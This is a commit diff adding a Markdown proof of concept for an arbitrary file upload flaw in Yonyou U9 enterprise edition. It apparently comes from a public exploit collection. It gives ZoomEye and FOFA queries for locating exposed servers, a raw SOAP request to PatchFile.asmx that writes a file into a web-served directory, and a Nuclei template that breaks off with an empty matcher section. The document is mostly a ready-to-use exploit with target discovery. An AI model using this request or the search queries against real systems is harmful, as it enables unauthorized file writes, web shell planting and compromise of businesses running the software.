Create 用友系统-U9企业版存在任意文件上传漏洞.md

用友系统-U9企业版存在任意文件上传漏洞.md

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+## 用友系统-U9企业版存在任意文件上传漏洞
+
+##  ZoomEye
+```
+app:"用友 U9"
+```
+
+## fofa
+```
+title=="        U9-登录    "
+```
+
+
+## poc
+```
+POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
+Host: {}
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Cookie: .ASPXANONYMOUS=1OJZqnZ03AEkAAAAZGQ2ZDU0NzYtMDdiZS00YWJhLTk2ZTMtNmRhYTgxNDM5OTNi0; ASP.NET_SessionId=md4bw5fgleu1cxfdwk4w0o4n
+Connection: close
+Content-Type: text/xml; charset=utf-8
+Content-Length: 433
+
+<?xml version="1.0" encoding="utf-8"?>
+<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+  <soap:Body>
+    <SaveFile xmlns="http://tempuri.org/">
+      <binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>
+      <path>./</path>
+      <fileName>123.txt</fileName>
+    </SaveFile>
+  </soap:Body>
+</soap:Envelope>
+```
+![b23cd5adb255337154278fb1c62bf2fc](https://github.com/wy876/POC/assets/139549762/6c927096-24d0-4b55-8037-fff767959054)
+
+文件上传路径
+http://127.0.0.1/CS/Office/AutoUpdates/123.txt
+
+![5eb3b885723f85ed25b104c10f08e7c1](https://github.com/wy876/POC/assets/139549762/e283a6a2-3c77-4121-816e-4865ab5fb8b5)
+
+## Nuclei
+```
+
+id: yonyou-U9-PatchFile-asmx-uploadfile
+
+info:
+  name: yonyou-U9-PatchFile-asmx-uploadfile
+  author: 渗透安全HackTwo
+  severity: high
+
+  description: |
+    漏洞测试-公众号-渗透安全HackTwo
+  reference:
+    - https://127.0.0.1
+  tags: auto
+
+variables:
+  filename: "{{to_lower(rand_base(10))}}"
+  boundary: "{{to_lower(rand_base(20))}}"
+
+http:
+  - raw:
+      - |
+        POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
+        Host:{{Hostname}}
+        Accept-Encoding: gzip, deflate, br
+        Accept-Language: zh-CN,zh;q=0.9b
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+        Content-Type: text/xml; charset=utf-8
+        Connection: close
+        
+        <?xml version="1.0" encoding="utf-8"?>
+        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+          <soap:Body>
+            <SaveFile xmlns="http://tempuri.org/">
+              <binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>
+              <path>./</path>
+              <fileName>{{filename}}.txt</fileName>
+            </SaveFile>
+          </soap:Body>
+        </soap:Envelope>
+        
+
+      - |
+        GET /CS/Office/AutoUpdates/{{filename}}.txt HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+
+    matchers:
+      - type: dsl
+        dsl:
+```
+